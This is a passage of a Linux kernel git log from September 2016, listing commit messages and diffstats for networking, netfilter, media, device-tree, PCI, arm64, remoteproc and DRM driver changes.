++ 4 files changed, 131 insertions(+) commit 736c4c1da76bc78d3013e791581725c11cd20ead Author: Alexander Duyck Date: Mon Sep 5 13:26:33 2016 +0300 bnx2x: Add support for segmentation of tunnels with outer checksums Signed-off-by: Alexander Duyck Tested-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 2591c280c375c547022eb619895c1aebbbc38219 Author: Joe Perches Date: Sun Sep 4 14:24:03 2016 -0700 qed: Remove OOM messages These messages are unnecessary as OOM allocation failures already do a dump_stack() giving more or less the same information. $ size drivers/net/ethernet/qlogic/qed/built-in.o* (defconfig x86-64) text data bss dec hex filename 127817 27969 32800 188586 2e0aa drivers/net/ethernet/qlogic/qed/built-in.o.new 132474 27969 32800 193243 2f2db drivers/net/ethernet/qlogic/qed/built-in.o.old Miscellanea: o Change allocs to the generally preferred forms where possible. Signed-off-by: Joe Perches Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_cxt.c | 20 +++------ drivers/net/ethernet/qlogic/qed/qed_dcbx.c | 13 ++---- drivers/net/ethernet/qlogic/qed/qed_dev.c | 60 +++++++------------------- drivers/net/ethernet/qlogic/qed/qed_hw.c | 12 ++---- drivers/net/ethernet/qlogic/qed/qed_init_ops.c | 4 +- drivers/net/ethernet/qlogic/qed/qed_int.c | 23 +++------- drivers/net/ethernet/qlogic/qed/qed_main.c | 4 +- drivers/net/ethernet/qlogic/qed/qed_mcp.c | 1 - drivers/net/ethernet/qlogic/qed/qed_spq.c | 28 +++--------- drivers/net/ethernet/qlogic/qed/qed_sriov.c | 9 ++-- drivers/net/ethernet/qlogic/qed/qed_vf.c | 14 ++---- 11 files changed, 47 insertions(+), 141 deletions(-) commit c7ee5672f38e3602e2c1bc935ba2f7c41b36bf40 Merge: 0122c6d 3dc20f0 Author: David S. Miller Date: Tue Sep 6 13:53:29 2016 -0700 Merge tag 'rxrpc-rewrite-20160904-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Split output code from sendmsg code Here's a set of small patches that split the packet transmission code from the sendmsg code and simply rearrange the new file to make it more logically laid out ready for being rewritten. An enum is also moved out of the header file to there as it's only used there. This needs to be applied on top of the just-posted fixes patch set. ==================== Signed-off-by: David S. Miller commit 0122c6d5faa3c2bb2523119aa1e20ac5a2f10dd7 Merge: 5e1e61a 434e612 Author: David S. Miller Date: Tue Sep 6 13:46:26 2016 -0700 Merge tag 'rxrpc-rewrite-20160904-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Small fixes Here's a set of small fix patches: (1) Fix some uninitialised variables. (2) Set the client call state before making it live by attaching it to the conn struct. (3) Randomise the epoch and starting client conn ID values, and don't change the epoch when the client conn ID rolls round. (4) Replace deprecated create_singlethread_workqueue() calls. ==================== Signed-off-by: David S. Miller commit 5e1e61a33f987eb5d87c5acb199da99b6a9da93d Author: Haishuang Yan Date: Sun Sep 4 18:52:51 2016 +0800 vxlan: Update tx_errors statistics if vxlan_build_skb return err. If vxlan_build_skb return err < 0, tx_errors should be also increased. Signed-off-by: Haishuang Yan Acked-by: Jiri Benc Signed-off-by: David S. Miller drivers/net/vxlan.c | 1 + 1 file changed, 1 insertion(+) commit 326fe02d1ed61a63c30fa1f144758f34f0ef11cb Author: Brenden Blanco Date: Sat Sep 3 21:29:58 2016 -0700 net/mlx4_en: protect ring->xdp_prog with rcu_read_lock Depending on the preempt mode, the bpf_prog stored in xdp_prog may be freed despite the use of call_rcu inside bpf_prog_put. The situation is possible when running in PREEMPT_RCU=y mode, for instance, since the rcu callback for destroying the bpf prog can run even during the bh handling in the mlx4 rx path. Several options were considered before this patch was settled on: Add a napi_synchronize loop in mlx4_xdp_set, which would occur after all of the rings are updated with the new program. This approach has the disadvantage that as the number of rings increases, the speed of update will slow down significantly due to napi_synchronize's msleep(1). Add a new rcu_head in bpf_prog_aux, to be used by a new bpf_prog_put_bh. The action of the bpf_prog_put_bh would be to then call bpf_prog_put later. Those drivers that consume a bpf prog in a bh context (like mlx4) would then use the bpf_prog_put_bh instead when the ring is up. This has the problem of complexity, in maintaining proper refcnts and rcu lists, and would likely be harder to review. In addition, this approach to freeing must be exclusive with other frees of the bpf prog, for instance a _bh prog must not be referenced from a prog array that is consumed by a non-_bh prog. The placement of rcu_read_lock in this patch is functionally the same as putting an rcu_read_lock in napi_poll. Actually doing so could be a potentially controversial change, but would bring the implementation in line with sk_busy_loop (though of course the nature of those two paths is substantially different), and would also avoid future copy/paste problems with future supporters of XDP. Still, this patch does not take that opinionated option. Testing was done with kernels in either PREEMPT_RCU=y or CONFIG_PREEMPT_VOLUNTARY=y+PREEMPT_RCU=n modes, with neither exhibiting any drawback. With PREEMPT_RCU=n, the extra call to rcu_read_lock did not show up in the perf report whatsoever, and with PREEMPT_RCU=y the overhead of rcu_read_lock (according to perf) was the same before/after. In the rx path, rcu_read_lock is eventually called for every packet from netif_receive_skb_internal, so the napi poll call's rcu_read_lock is easily amortized. v2: Remove extra rcu_read_lock in mlx4_en_process_rx_cq body Annotate xdp_prog with __rcu, and convert all usages to rcu_assign or rcu_dereference[_protected] as appropriate. Add explicit mutex lock around rcu_assign instead of xchg loop. Fixes: d576acf0a22 ("net/mlx4_en: add page recycle to prepare rx ring for tx support") Acked-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: Brenden Blanco Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 13 ++++++++++--- drivers/net/ethernet/mellanox/mlx4/en_rx.c | 15 ++++++++------- drivers/net/ethernet/mellanox/mlx4/mlx4_en.h | 2 +- 3 files changed, 19 insertions(+), 11 deletions(-) commit bc58493bd35f33feef27bcbdbcfa96e4a2fa43bf Merge: 0da4d28 41156ce Author: David S. Miller Date: Tue Sep 6 13:33:20 2016 -0700 Merge branch 'mediatek-rx-path-enhancements' Sean Wang says: ==================== net: ethernet: mediatek: add enhancements to RX path Changes since v1: - fix message typos and add coverletter Changes since v2: - split from the previous series for submitting add enhancements as a series targeting 'net-next' and add indents before comments. Changes since v3: - merge the patch using PDMA RX path - fixed the input of mtk_poll_rx is with the remaining budget Changes since v4: - save one wmb and register update when no packet is being handled inside mtk_poll_rx call - fixed incorrect return packet count from mtk_napi_rx ==================== Signed-off-by: David S. Miller commit 41156cea94618d7b5dbb3d2d4e42f9214581c737 Author: Sean Wang Date: Sat Sep 3 17:59:27 2016 +0800 net: ethernet: mediatek: enhance RX path by aggregating more SKBs into NAPI The patch adds support for aggregating more SKBs feed into NAPI in order to get more benefits from generic receive offload (GRO) by peeking at the RX ring status and moving more packets right before returning from NAPI RX polling handler if NAPI budgets are still available and some packets already present in hardware. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 31 ++++++++++++++++------------- 1 file changed, 17 insertions(+), 14 deletions(-) commit 635372ada412967b359421e88c2c0acd35d4e3b5 Author: Sean Wang Date: Sat Sep 3 17:59:26 2016 +0800 net: ethernet: mediatek: enhance RX path by reducing the frequency of the memory barrier used The patch makes move wmb() to outside the loop that could help RX path handling more faster although that RX descriptors aren't freed for DMA to use as soon as possible, but based on my experiment and the result shows it still can reach about 943Mbpis without performance drop that is tested based on the setup with one port using Giga PHY and 256 RX descriptors for DMA to move. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 0da4d283025262dfab79d94ce3aa1176e626c468 Merge: 13722bb 3981cce Author: David S. Miller Date: Tue Sep 6 13:29:59 2016 -0700 Merge branch 'hso-neatening' Joe Perches says: ==================== hso: neatening This seems to be the only code in the kernel that uses macro defines with a trailing underscore. Fix that. ==================== Signed-off-by: David S. Miller commit 3981cce673c9a37649d79ccef402a8c1651fb3cf Author: Joe Perches Date: Fri Sep 2 15:58:02 2016 -0700 hso: Convert printk to pr_ Use a more common logging style Miscellanea: o Add pr_fmt to prefix each output message o Realign arguments Signed-off-by: Joe Perches Signed-off-by: David S. Miller drivers/net/usb/hso.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit 95a691179725fb8b3463d4d0f09a4d77e3c6f808 Author: Joe Perches Date: Fri Sep 2 15:58:01 2016 -0700 hso: Use a more common logging style Macros that end in an underscore are just odd. Add hso_dbg(level, fmt, ...) and use it everwhere instead. Several uses had additional unnecessary newlines as the macro added a newline. Remove the newline from the macro and add newlines to each use as appropriate. Remove now unused D macros. Signed-off-by: Joe Perches Signed-off-by: David S. Miller drivers/net/usb/hso.c | 97 +++++++++++++++++++++++---------------------------- 1 file changed, 44 insertions(+), 53 deletions(-) commit 13722bbe97b55bbd31651a2e1e12b460f33de134 Author: Woojung Huh Date: Fri Sep 2 20:34:22 2016 +0000 smsc95xx: Add mdix control via ethtool Add mdix control through ethtool. Signed-off-by: Woojung Huh Signed-off-by: David S. Miller drivers/net/usb/smsc95xx.c | 109 +++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 106 insertions(+), 3 deletions(-) commit 273bf288f91ef922ce8ee851b45243bafc35034f Author: Woojung Huh Date: Fri Sep 2 20:34:20 2016 +0000 smsc95xx: Add register define Add STRAP_STATUS defines. Signed-off-by: Woojung Huh Signed-off-by: David S. Miller drivers/net/usb/smsc95xx.h | 8 ++++++++ 1 file changed, 8 insertions(+) commit 983ccd74a14dd6fd28f579fc2a50c0c416f276d1 Author: Woojung Huh Date: Fri Sep 2 20:34:19 2016 +0000 smsc95xx: Add maintainer Add Microchip Linux Driver Support as maintainer because this driver is maintaining by Microchip. Signed-off-by: Woojung Huh Acked-by: Steve Glendinning Signed-off-by: David S. Miller MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 464520a13d8751403ac610e779d8b7099cd22642 Merge: 60175cc ca070c1 Author: David S. Miller Date: Tue Sep 6 12:58:14 2016 -0700 Merge branch 'mv88e6xxx-isolate-Global2' Vivien Didelot says: ==================== net: dsa: mv88e6xxx: isolate Global2 support Registers of Marvell chips are organized in internal SMI devices. One of them at address 0x1C is called Global2. It provides an extended set of registers, used for interrupt control, EEPROM access, indirect PHY access (to bypass the PHY Polling Unit) and cross-chip setup. Most chips have it, but some others don't (older ones such as 6060). Now that its related code is isolated in mv88e6xxx_g2_* functions, move it to its own global2.c file, making most of its setup code static. Then make its compilation optional, which allows to reduce the size of the mv88e6xxx driver for devices such as home routers embedding Ethernet chips without Global2 support. It is present on most recent chips, thus enable its support by default. Changes in v2: fail probe if GLOBAL2 is required but not enabled. ==================== Signed-off-by: David S. Miller commit ca070c1097eb647e87619af5037d8a8a53a3248b Author: Vivien Didelot Date: Fri Sep 2 14:45:34 2016 -0400 net: dsa: mv88e6xxx: make global2 code optional Since not every chip has a Global2 set of registers, make its support optional, in which case the related functions will return -EOPNOTSUPP. This also allows to reduce the size of the mv88e6xxx driver for devices such as home routers embedding Ethernet chips without Global2 support. It is present on most recent chips, thus enable its support by default. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/Kconfig | 11 +++++++ drivers/net/dsa/mv88e6xxx/Makefile | 2 +- drivers/net/dsa/mv88e6xxx/chip.c | 4 +++ drivers/net/dsa/mv88e6xxx/global2.h | 58 +++++++++++++++++++++++++++++++++++++ 4 files changed, 74 insertions(+), 1 deletion(-) commit ec5612761c47ec7ab91b61df1bbcfd65cb0dbec8 Author: Vivien Didelot Date: Fri Sep 2 14:45:33 2016 -0400 net: dsa: mv88e6xxx: move Global2 code Marvell chips are composed of multiple SMI devices. One of them at address 0x1C is called Global2. It provides an extended set of registers, used for interrupt control, EEPROM access, indirect PHY access (to bypass the PHY Polling Unit) and cross-chip related setup. Most chips have it, but some others don't (older ones such as 6060). Now that its related code is isolated in mv88e6xxx_g2_* functions, move it to its own global2.c file, making most of its setup code static. Document each registers in the meantime. Its compilation can be later avoided for chips without such registers. Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/Makefile | 1 + drivers/net/dsa/mv88e6xxx/chip.c | 463 +-------------------------------- drivers/net/dsa/mv88e6xxx/global2.c | 471 ++++++++++++++++++++++++++++++++++ drivers/net/dsa/mv88e6xxx/global2.h | 30 +++ drivers/net/dsa/mv88e6xxx/mv88e6xxx.h | 6 + 5 files changed, 521 insertions(+), 450 deletions(-) commit 6654d0bff91ca090feab4bb2ed94a3a009a03337 Author: Vivien Didelot Date: Fri Sep 2 14:45:32 2016 -0400 net: dsa: mv88e6xxx: fix module naming Since the mv88e6xxx.c file has been renamed, the driver compiled as a module is called chip.ko instead of mv88e6xxx.ko. Fix this. Fixes: fad09c73c270 ("net: dsa: mv88e6xxx: rename single-chip support") Signed-off-by: Vivien Didelot Signed-off-by: David S. Miller drivers/net/dsa/mv88e6xxx/Makefile | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c92bab5e1ef4e709001cec678fc7c8f9817a4b2e Author: Jean-Christophe Trotin Date: Mon Sep 5 11:06:28 2016 -0300 [media] Documentation: DT: add bindings for ST HVA This patch adds DT binding documentation for STMicroelectronics hva driver. Signed-off-by: Yannick Fertre Signed-off-by: Jean-Christophe Trotin Acked-by: Peter Griffin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab .../devicetree/bindings/media/st,st-hva.txt | 24 ++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 836407462244cc4d8b1172f1f835035801692a77 Author: Joachim Eastwood Date: Mon Aug 29 23:58:29 2016 +0200 ARM: dts: efm32: remove skeleton.dtsi include and fix unit address warnings Removale of skeleton.dtsi allows us also to fix the following warning from the dts compiler: Warning (unit_address_vs_reg): Node /memory has a reg or ranges property, but no unit name by adding proper unit addresses to the memory nodes. Also add missing device_type to the memory node while at it. Signed-off-by: Joachim Eastwood Acked-by: Rob Herring Acked-by: Uwe Kleine-König arch/arm/boot/dts/efm32gg-dk3750.dts | 5 +++-- arch/arm/boot/dts/efm32gg.dtsi | 4 +++- 2 files changed, 6 insertions(+), 3 deletions(-) commit 0555a6be0691f14b48371d5359bab4ccc73023ef Author: Joachim Eastwood Date: Mon Aug 29 23:37:24 2016 +0200 ARM: dts: lpc18xx: remove skeleton.dtsi include and fix unit address warnings Removale of skeleton.dtsi allows us also to fix the following warning from the dts compiler: Warning (unit_address_vs_reg): Node /memory has a reg or ranges property, but no unit name by adding proper unit addresses to the memory nodes. Signed-off-by: Joachim Eastwood Acked-by: Rob Herring arch/arm/boot/dts/lpc18xx.dtsi | 4 +++- arch/arm/boot/dts/lpc4337-ciaa.dts | 2 +- arch/arm/boot/dts/lpc4350-hitex-eval.dts | 2 +- arch/arm/boot/dts/lpc4357-ea4357-devkit.dts | 2 +- 4 files changed, 6 insertions(+), 4 deletions(-) commit 05b23ebc2bd9b85fcc1891c2bd20b1949861ea77 Author: Joachim Eastwood Date: Mon Aug 29 23:33:56 2016 +0200 ARM: dts: armv7-m: remove skeleton.dtsi include Remove skeleton.dtsi from the common ARM Cortex-M dtsi. This will allow us to remove skeleton.dtsi on a per platform basis and get rid of the unit address warning on the memory nodes without getting duplicate memory nodes. See 3ebee5a2e141 ("arm64: dts: kill skeleton.dtsi") for additional reasons not to use the skeleton.dtsi. Signed-off-by: Joachim Eastwood Acked-by: Rob Herring Acked-by: Vladimir Murzin Acked-by: Stefan Agner Acked-by: Uwe Kleine-König Acked-by: Alexandre TORGUE arch/arm/boot/dts/armv7-m.dtsi | 2 -- arch/arm/boot/dts/efm32gg.dtsi | 2 ++ arch/arm/boot/dts/lpc18xx.dtsi | 1 + arch/arm/boot/dts/mps2.dtsi | 1 + arch/arm/boot/dts/stm32f429.dtsi | 1 + arch/arm/boot/dts/vf610m4.dtsi | 1 + 6 files changed, 6 insertions(+), 2 deletions(-) commit 036bbb8213ecca49799217f30497dc0484178e53 Author: Hans Verkuil Date: Mon Sep 5 11:30:39 2016 -0300 [media] cobalt: update EDID Update the cobalt EDID, fixing various incorrect values (wrong name, product code, various video capabilities). Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cobalt/cobalt-driver.c | 47 ++++++++++++++++---------------- 1 file changed, 24 insertions(+), 23 deletions(-) commit 66de877c95427ff8698adc3b29577b5186b76d13 Author: Hans Verkuil Date: Mon Sep 5 11:30:08 2016 -0300 [media] vivid: update EDID Update the vivid EDID, fixing various incorrect values (wrong name, product code, various video capabilities). Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vivid/vivid-core.c | 58 +++++++++++++++---------------- 1 file changed, 29 insertions(+), 29 deletions(-) commit 350649cc24358ab0cfff7179c06818d0cfef698b Author: Andrey Utkin Date: Wed Aug 24 20:17:18 2016 -0300 [media] tw5864-core: remove excessive irqsave As warned by smatch: drivers/media/pci/tw5864/tw5864-core.c:160 tw5864_h264_isr() error: double lock 'irqsave:flags' drivers/media/pci/tw5864/tw5864-core.c:174 tw5864_h264_isr() error: double unlock 'irqsave:flags' Two different spinlocks are obtained, so having two calls is correct, but second irqsave is superfluous, and using same "flags" variable is just wrong. Reported-by: Mauro Carvalho Chehab Signed-off-by: Andrey Utkin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/tw5864-core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 60175ccdf46ac5076725cb3e66f6bc2e2766ad2b Merge: 2f5281b 779994f Author: David S. Miller Date: Tue Sep 6 12:45:26 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next Pablo Neira Ayuso says: ==================== Netfilter updates for net-next The following patchset contains Netfilter updates for your net-next tree. Most relevant updates are the removal of per-conntrack timers to use a workqueue/garbage collection approach instead from Florian Westphal, the hash and numgen expression for nf_tables from Laura Garcia, updates on nf_tables hash set to honor the NLM_F_EXCL flag, removal of ip_conntrack sysctl and many other incremental updates on our Netfilter codebase. More specifically, they are: 1) Retrieve only 4 bytes to fetch ports in case of non-linear skb transport area in dccp, sctp, tcp, udp and udplite protocol conntrackers, from Gao Feng. 2) Missing whitespace on error message in physdev match, from Hangbin Liu. 3) Skip redundant IPv4 checksum calculation in nf_dup_ipv4, from Liping Zhang. 4) Add nf_ct_expires() helper function and use it, from Florian Westphal. 5) Replace opencoded nf_ct_kill() call in IPVS conntrack support, also from Florian. 6) Rename nf_tables set implementation to nft_set_{name}.c 7) Introduce the hash expression to allow arbitrary hashing of selector concatenations, from Laura Garcia Liebana. 8) Remove ip_conntrack sysctl backward compatibility code, this code has been around for long time already, and we have two interfaces to do this already: nf_conntrack sysctl and ctnetlink. 9) Use nf_conntrack_get_ht() helper function whenever possible, instead of opencoding fetch of hashtable pointer and size, patch from Liping Zhang. 10) Add quota expression for nf_tables. 11) Add number generator expression for nf_tables, this supports incremental and random generators that can be combined with maps, very useful for load balancing purpose, again from Laura Garcia Liebana. 12) Fix a typo in a debug message in FTP conntrack helper, from Colin Ian King. 13) Introduce a nft_chain_parse_hook() helper function to parse chain hook configuration, this is used by a follow up patch to perform better chain update validation. 14) Add rhashtable_lookup_get_insert_key() to rhashtable and use it from the nft_set_hash implementation to honor the NLM_F_EXCL flag. 15) Missing nulls check in nf_conntrack from nf_conntrack_tuple_taken(), patch from Florian Westphal. 16) Don't use the DYING bit to know if the conntrack event has been already delivered, instead a state variable to track event re-delivery states, also from Florian. 17) Remove the per-conntrack timer, use the workqueue approach that was discussed during the NFWS, from Florian Westphal. 18) Use the netlink conntrack table dump path to kill stale entries, again from Florian. 19) Add a garbage collector to get rid of stale conntracks, from Florian. 20) Reschedule garbage collector if eviction rate is high. 21) Get rid of the __nf_ct_kill_acct() helper. 22) Use ARPHRD_ETHER instead of hardcoded 1 from ARP logger. 23) Make nf_log_set() interface assertive on unsupported families. ==================== Signed-off-by: David S. Miller commit e5872251cdf59ad284eb7ebb5960208d1753d9d8 Author: Hans Verkuil Date: Mon Sep 5 10:09:17 2016 -0300 [media] Revert "[media] tw5864: remove double irq lock code" This reverts commit 617e901a12ad ("[media] tw5864: remove double irq lock code"). That commit was rejected by Andrey Utkin , but it had already been merged. Revert and apply Andrey's corrected patch next. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw5864/tw5864-core.c | 2 ++ 1 file changed, 2 insertions(+) commit 9d29327d16d5add499f106c693d7ad89c9e52c22 Author: Johan Fjeldtvedt Date: Tue Aug 30 09:31:28 2016 -0300 [media] pulse8-cec: some small fixes Fix some small things: - clean up setup function - use MSGEND instead of 0xfe - don't assign "return value" from cec_phys_addr to err, it has return type void. Signed-off-by: Johan Fjeldtvedt Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 33 ++++++++------------------- 1 file changed, 10 insertions(+), 23 deletions(-) commit 846c4a7b3aebab9d354aa3fc6b2b8770a453427d Author: Songjun Wu Date: Wed Aug 24 05:49:28 2016 -0300 [media] atmel-isc: remove the warning Replace the 'IS_ERR_VALUE(irq)' with 'ret < 0' in function 'atmel_isc_probe'. Reported-by: Hans Verkuil Signed-off-by: Songjun Wu Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/atmel/atmel-isc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ee242096598df01fcdeb709ddf765bb614d93afb Author: Ezequiel Garcia Date: Mon Aug 22 13:12:24 2016 -0300 [media] media: tw686x: Support frame sizes and frame intervals enumeration This commit adds support for VIDIOC_ENUM_FRAMESIZES and VIDIOC_ENUM_FRAMEINTERVALS enumeration ioctls. Signed-off-by: Ezequiel Garcia Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw686x/tw686x-video.c | 38 +++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) commit e28a6c8b3fcc166254596bbbf9ebe45facfa48eb Author: Johan Fjeldtvedt Date: Mon Aug 22 06:04:54 2016 -0300 [media] pulse8-cec: sync configuration with adapter When the configuration is changed, they are also written to the adapter. This allows the adapter to continue operating in autonomous mode with the same settings when it is disconnected from the driver (typically by going into suspend). For adapters with firmware version 2 or greater, the settings are also persisted in EEPROM. A new module parameter is added to optionally also use the configuration already present in the adapter when it is connected. This option is enabled by default. When a new configuration is written, the autonomous mode is automatically enabled. When the device is unconfigured, autonomous mode is disabled. Signed-off-by: Johan Fjeldtvedt Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 266 ++++++++++++++++++++++---- 1 file changed, 228 insertions(+), 38 deletions(-) commit 89c2e228718cf0d545de7a589e971dbbe70cb8a3 Author: Johan Fjeldtvedt Date: Mon Aug 22 06:04:53 2016 -0300 [media] pulse8-cec: add notes about behavior in autonomous mode The pulse8 dongle has some quirky behaviors when in autonomous mode. Document these. Signed-off-by: Johan Fjeldtvedt Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 05f3e58b8633590b1319db22646dd78ba6de2660 Author: Johan Fjeldtvedt Date: Mon Aug 22 06:04:52 2016 -0300 [media] pulse8-cec: serialize communication with adapter Make sending messages to the adapter serialized within the driver. send_and_wait is split into send_and_wait_once, which only sends once and checks for the result, and the higher level send_and_wait, which performs locking and retries. Signed-off-by: Johan Fjeldtvedt Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/pulse8-cec/pulse8-cec.c | 52 ++++++++++++++++----------- 1 file changed, 32 insertions(+), 20 deletions(-) commit a2fdc9df5e02ac3ab91d7888372cbe9512273171 Author: Johan Fjeldtvedt Date: Mon Aug 22 06:04:51 2016 -0300 [media] cec: allow configuration both from within driver and from user space It makes sense for adapters such as the Pulse-Eight to be configurable both from within the driver and from user space, so remove the requirement that drivers only can call cec_s_log_addrs or cec_s_phys_addr if they don't expose those capabilities to user space. Signed-off-by: Johan Fjeldtvedt Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/cec/cec-adap.c | 4 ---- 1 file changed, 4 deletions(-) commit ae54913517f0705b92fe812c8c3f2ec37f542c99 Author: Markus Elfring Date: Mon Aug 15 02:01:56 2016 -0300 [media] radio-si470x-i2c: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/radio/si470x/radio-si470x-i2c.c | 1 - 1 file changed, 1 deletion(-) commit 3a549beef9563c9a8f740dcdb002d18879ee91a6 Author: Tiffany Lin Date: Sun Aug 14 23:15:33 2016 -0300 [media] vcodec: mediatek: Add g/s_selection support for V4L2 Encoder This patch add g/s_selection for MT8173 V4L2 Encoder. Only output queue support g/s_selection to configure crop. The top/left of active rectangle should always be (0,0) Signed-off-by: Tiffany Lin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/mtk-vcodec/mtk_vcodec_enc.c | 66 ++++++++++++++++++++++ 1 file changed, 66 insertions(+) commit 43c784aab772e9527e2e369f6e1f6d6d1dd63866 Author: Markus Elfring Date: Sun Aug 14 17:20:26 2016 -0300 [media] media/i2c: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ad9389b.c | 1 - drivers/media/i2c/adv7183.c | 1 - drivers/media/i2c/adv7393.c | 1 - drivers/media/i2c/cs3308.c | 1 - drivers/media/i2c/s5k4ecgx.c | 1 - drivers/media/i2c/s5k6a3.c | 1 - drivers/media/i2c/ths8200.c | 1 - drivers/media/i2c/tlv320aic23b.c | 1 - drivers/media/i2c/tvp514x.c | 1 - drivers/media/i2c/tvp7002.c | 1 - drivers/media/i2c/vs6624.c | 1 - 11 files changed, 11 deletions(-) commit 443b40ba21aa346388ddfb8fa7f2baee6b74e8ee Author: Jon Derrick Date: Tue Sep 6 14:15:24 2016 -0500 x86/PCI: VMD: Add quirk for AER to ignore source ID VMD root ports change all source ids to the VMD device ID. To find the sender of the AER notification, we need to scan all child devices for the AER sender, rather than relying on the source ID from the message. Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas drivers/pci/quirks.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 032c3d86b4acc4c21e435c85c454eac670c15851 Author: Jon Derrick Date: Thu Aug 25 17:26:10 2016 -0600 PCI/AER: Add bus flag to skip source ID matching Allow root port buses to choose to skip source id matching when finding the faulting device. Certain root port devices may return an incorrect source ID and recommend to scan child device registers for AER notifications. Signed-off-by: Jon Derrick Signed-off-by: Bjorn Helgaas drivers/pci/pcie/aer/aerdrv_core.c | 7 +++++-- include/linux/pci.h | 5 +++-- 2 files changed, 8 insertions(+), 4 deletions(-) commit dae8c235d9a21a564793ea9fe716233e11d30e21 Author: Kefeng Wang Date: Mon Sep 5 19:30:22 2016 +0800 arm64: mm: drop fixup_init() and mm.h There is only fixup_init() in mm.h , and it is only called in free_initmem(), so move the codes from fixup_init() into free_initmem(), then drop fixup_init() and mm.h. Acked-by: Mark Rutland Signed-off-by: Kefeng Wang Signed-off-by: Will Deacon arch/arm64/mm/flush.c | 2 -- arch/arm64/mm/init.c | 10 +++++++--- arch/arm64/mm/mm.h | 2 -- arch/arm64/mm/mmu.c | 12 ------------ arch/arm64/mm/pgd.c | 2 -- 5 files changed, 7 insertions(+), 21 deletions(-) commit 21b6657ef4458f90d64b696105e3898257dea221 Author: Loic PALLARDY Date: Tue Sep 6 09:39:43 2016 +0200 remoteproc: core: transform struct fw_rsc_vdev_vring reserved field in pa In current implementation, struct fw_rsc_vdev_vring which describes vring resource in firmware resource table owns only device address, because it assumes that host is responsible of vring allocation and only device address is needed by coprocessor. But if vrings need to be fixed in system memory map for any reasons (security, SoC charactieristics...), physical address is needed exatly identified the memory chunck by host. For that let's transform reserved field of struct fw_rsc_vdev_vring to pa (physical address). Signed-off-by: Loic Pallardy Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 6 ------ include/linux/remoteproc.h | 4 ++-- 2 files changed, 2 insertions(+), 8 deletions(-) commit cd5830512044d301d397d1499738ee00a8836247 Author: Loic PALLARDY Date: Tue Sep 6 09:39:42 2016 +0200 remoteproc: Modify FW_RSC_ADDR_ANY definition Replace 0xFFFFFFFFFFFFFFFF by -1 to fit any type. Signed-off-by: Loic Pallardy Signed-off-by: Bjorn Andersson include/linux/remoteproc.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 737ba10928061c899b7da45e8580ac5c20ff3593 Author: Haixia Shi Date: Tue Aug 30 14:50:21 2016 -0700 drm/udl: implement usb_driver suspend/resume. The usb_driver suspend and resume function pointers must be populated to prevent forced unbinding of USB interface driver. See usb/core/driver.c: unbind_no_pm_drivers_interfaces(). Restore mode and damage the entire frame buffer upon resume. TEST=suspend and resume with the same UDL device connected TEST=suspend with UDL, unplug UDL and resume TEST=suspend with UDL, unplug and connect another UDL device then resume Signed-off-by: Haixia Shi Reviewed-by: Stéphane Marchesin [seanpaul fixed checkpatch warnings and gave marcheu his é back] Signed-off-by: Sean Paul Link: 